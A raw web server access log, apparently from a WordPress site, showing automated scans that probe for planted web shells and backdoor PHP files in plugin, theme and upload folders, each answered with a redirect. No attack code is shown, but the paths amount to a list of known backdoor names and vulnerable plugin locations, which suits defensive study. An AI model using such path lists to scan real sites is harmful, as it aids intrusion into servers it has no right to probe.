- - [19/Jan/2025:21:17:06 +0530] "GET /css/cloud.php HTTP/1.1" 302 233 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:06 +0530] "GET /wp-admin/user/cloud.php HTTP/1.1" 302 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:07 +0530] "GET /img/cloud.php HTTP/1.1" 302 233 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:08 +0530] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 302 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:09 +0530] "GET /wp-admin/images/cloud.php HTTP/1.1" 302 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:09 +0530] "GET /images/cloud.php HTTP/1.1" 302 236 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:10 +0530] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 302 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:10 +0530] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 302 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:11 +0530] "GET /wp-admin/includes/cloud.php HTTP/1.1" 302 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:12 +0530] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 302 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:13 +0530] "GET /wp-admin/cloud.php HTTP/1.1" 302 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:14 +0530] "GET /wp-login.php HTTP/1.1" 302 232 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:15 +0530] "GET /wp-cron.php HTTP/1.1" 302 231 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:15 +0530] "GET /wp-admin/about.php HTTP/1.1" 302 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:16 +0530] "GET /revision.php HTTP/1.1" 302 232 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:17 +0530] "GET /max.php HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:18 +0530] "GET /wso-x569.php HTTP/1.1" 302 232 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:19 +0530] "GET /fm1.php HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:20 +0530] "GET /4price3.php HTTP/1.1" 302 231 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:20 +0530] "GET /ioxi-rex.php HTTP/1.1" 302 232 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:21 +0530] "GET /wp-admin/css/colors/blue/ioxi1.php HTTP/1.1" 302 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:22 +0530] "GET /ioxi2.php HTTP/1.1" 302 229 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:23 +0530] "GET /wp-includes/js/js.php HTTP/1.1" 302 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:24 +0530] "GET /wp-content/style-css.php HTTP/1.1" 302 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:25 +0530] "GET /million.php HTTP/1.1" 302 231 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:26 +0530] "GET /4pric.php HTTP/1.1" 302 229 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:26 +0530] "GET /404.php HTTP/1.1" 302 227 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:27 +0530] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 302 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:28 +0530] "GET /.well-knownold/bala.php HTTP/1.1" 302 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:29 +0530] "GET /.well-known/acme-challenge/bala.php HTTP/1.1" 302 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:29 +0530] "GET /.well-known/pkivalidation/bala.php HTTP/1.1" 302 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:30 +0530] "GET /wp-content/plugins/bala.php HTTP/1.1" 302 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:31 +0530] "GET /wp-content/uploads/bala.php HTTP/1.1" 302 247 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:32 +0530] "GET /wp-content/bala.php HTTP/1.1" 302 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:32 +0530] "GET /wp-includes/bala.php HTTP/1.1" 302 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:17:33 +0530] "GET /wp-admin/bala.php HTTP/1.1" 302 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:18:55 +0530] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 302 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:18:56 +0530] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 302 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:18:56 +0530] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 302 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:18:57 +0530] "GET /wp-content/themes/gaukingo/db.php?u HTTP/1.1" 302 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:18:57 +0530] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 302 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:18:58 +0530] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 302 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:18:58 +0530] "GET /wp-content/plugins/ioptimizations/IOptimizes.php?hamlorszd HTTP/1.1" 302 278 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:18:59 +0530] "GET /wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 302 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:18:59 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/a57bze8931.php HTTP/1.1" 302 279 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:00 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/abruzi.php4 HTTP/1.1" 302 276 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:00 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/abruzi.php HTTP/1.1" 302 275 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:01 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/king.php HTTP/1.1" 302 273 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:01 +0530] "GET /wp-content/plugins/wp-file-manager/lib/files/xo.php HTTP/1.1" 302 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:02 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/king.php HTTP/1.1" 302 317 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:02 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/xo.php HTTP/1.1" 302 315 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:03 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/abruzi.php4 HTTP/1.1" 302 320 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:03 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/a57bze8931.php HTTP/1.1" 302 323 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:04 +0530] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/abruzi.php HTTP/1.1" 302 319 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:05 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/abruzi.php4 HTTP/1.1" 302 289 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:05 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/king.php HTTP/1.1" 302 286 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:06 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/abruzi.php HTTP/1.1" 302 288 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:06 +0530] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/xo.php HTTP/1.1" 302 284 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:07 +0530] "GET /wp-content/plugins/ioptimization/king.php HTTP/1.1" 302 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:07 +0530] "GET /wp-content/plugins/ioptimization/xo.php HTTP/1.1" 302 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:08 +0530] "GET /wp-content/plugins/ioptimization/abruzi.php HTTP/1.1" 302 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:08 +0530] "GET /wp-content/plugins/ioptimization/abruzi.php4 HTTP/1.1" 302 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:09 +0530] "GET /wp-content/plugins/apikey/king.php HTTP/1.1" 302 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:09 +0530] "GET /wp-content/plugins/apikey/xo.php HTTP/1.1" 302 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:10 +0530] "GET /wp-content/plugins/apikey/abruzi.php HTTP/1.1" 302 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:11 +0530] "GET /wp-content/plugins/apikey/abruzi.php4 HTTP/1.1" 302 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:11 +0530] "GET /wp-content/plugins/ioptimizations/king.php HTTP/1.1" 302 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:12 +0530] "GET /wp-content/plugins/ioptimizations/xo.php HTTP/1.1" 302 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:12 +0530] "GET /wp-content/plugins/ioptimizations/abruzi.php HTTP/1.1" 302 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:13 +0530] "GET /wp-content/plugins/ioptimizations/abruzi.php4 HTTP/1.1" 302 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:13 +0530] "GET /abruzi.php HTTP/1.1" 302 230 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:14 +0530] "GET /abruzi.php4 HTTP/1.1" 302 231 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:14 +0530] "GET /wp-content/plugins/dzs-zoomsounds/king HTTP/1.1" 302 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:15 +0530] "GET /wp-content/plugins/dzs-zoomsounds/xo.php HTTP/1.1" 302 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:15 +0530] "GET /wp-content/plugins/dzs-zoomsounds/abruzi.php HTTP/1.1" 302 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:16 +0530] "GET /wp-content/plugins/dzs-zoomsounds/abruzi.php4 HTTP/1.1" 302 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:17 +0530] "GET /xo.php HTTP/1.1" 302 226 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:17 +0530] "GET /king.php HTTP/1.1" 302 228 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:18 +0530] "GET /a57bze8931.php HTTP/1.1" 302 234 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:18 +0530] "GET /wp-content/uploads/typehub/custom/a57bze8931/.__a57bze8931.php HTTP/1.1" 302 282 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:19 +0530] "GET /wp-content/uploads/kaswara/fonts_icon/a57bze8931/.__a57bze8931.php HTTP/1.1" 302 286 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:19 +0530] "GET /wp-content/plugins/wp-engine-module/a57bze8931.php HTTP/1.1" 302 270 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:20 +0530] "GET /wp-content/plugins/ioptimizations/a57bze8931.php HTTP/1.1" 302 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:19:20 +0530] "GET /wp-content/plugins/ioptimization/a57bze8931.php HTTP/1.1" 302 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 197.146.35.203 - - [19/Jan/2025:21:20:27 +0530] "GET /go.php HTTP/1.1" 302 226 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 41.249.143.183 - - [19/Jan/2025:21:24:36 +0530] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 302 281 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.249.143.183 - - [19/Jan/2025:21:24:38 +0530] "GET /wp-content/themes/fitnessbase/dev.php HTTP/1.1" 302 257 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 41.249.143.183 - - [19/Jan/2025:21:24:42 +0530] "GET 